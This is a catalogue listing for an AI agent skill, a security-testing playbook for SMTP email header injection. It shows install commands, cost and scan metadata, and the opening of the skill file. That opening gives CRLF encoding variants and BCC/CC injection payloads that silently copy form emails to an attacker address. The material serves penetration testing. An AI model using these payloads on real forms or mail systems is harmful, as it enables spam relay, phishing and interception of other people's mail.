email-header-injection

email-header-injection is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 59 tokens per session (3,107 once invoked), scanned A, a copy of email-header-injection, MIT.

A security-testing playbook for injecting extra SMTP email headers through user-controlled fields. SMTP is the protocol used to send email, and CRLF characters can separate one header from another when input is handled incorrectly.

In plain words
What is it for?
Testing contact forms, email APIs, password-reset messages, SMTP integrations, and email authentication controls such as SPF, DKIM, and DMARC.
Why use it?
Poorly sanitised form fields or email API inputs can let attackers add recipients, alter message details, or weaken spoofing protections. The guide also covers related authentication and phishing risks.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is │ └── See ../open-redirect/SKILL.md.

Good fit Testing contact forms, email APIs, password-reset messages, SMTP integrations, and email authentication controls such as SPF, DKIM, and DMARC.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge
agentmods
npx agentmods add skills/shulkwisec/bb-huge/email-header-injection

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for email-header-injection

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/email-header-injection.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/email-header-injection)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/email-header-injection"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/email-header-injection.svg" alt="Measured on agentmods" height="20"></a>
Per session 59 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,107 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00059 $0.03107
Opus 5 $0.00030 $0.01554
Sonnet 5 $0.00012 $0.00621
Haiku 4.5 $0.00006 $0.00311

Measured 4d ago against content hash 4fb9f4621eb6, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-07, from the pricing page.

Security

Grade A, and why

email-header-injection scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

This is a copy

100% identical to email-header-injection — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/curated/email-header-injection/SKILL.md · 350 lines

How it starts

The opening of the file, as written. The whole thing — 350 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: Email Header Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) — this skill covers both attack surfaces.


1. SMTP HEADER INJECTION FUNDAMENTALS

SMTP headers are separated by CRLF (\r\n). If user input is placed into email headers without sanitization, injecting %0d%0a (or \r\n) adds arbitrary headers.

Injection anatomy

Normal header construction:
  To: [email protected]\r\n
  Subject: Contact Form\r\n
  From: [email protected]\r\n

Injected (via Subject field):
  Subject: Hello%0d%0aBcc: [email protected]\r\n
  
Result:
  Subject: Hello\r\n
  Bcc: [email protected]\r\n

Encoding variants to try

Encoding Payload
URL-encoded %0d%0a
Double URL-encoded %250d%250a
Unicode \u000d\u000a
Raw CRLF \r\n (in raw request)
LF only %0a (some SMTP servers accept LF without CR)
Null byte + CRLF %00%0d%0a

2. ATTACK SCENARIOS

2.1 BCC Injection — Silent Email Exfiltration

Input field: email / name / subject
Payload: [email protected]%0d%0aBcc:[email protected]

Effect: attacker receives a copy of every email sent through this form

2.2 CC Injection with Header Stacking

Payload in "From name" field:
  John%0d%0aCc:[email protected]%0d%0aBcc:[email protected]

Result headers:
  From: John
  Cc: [email protected]
  Bcc: [email protected]
  ... (original headers continue)

Read the full file on GitHub · 350 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 350 lines · 59 tokens per session scan A 4fb9f4621eb6

Subscribe to this mod's changes

email-header-injection is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 1mo ago), licensed MIT. It adds 59 tokens to every session and 3,107 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to email-header-injection, differing in 0 lines, and is treated as a copy.

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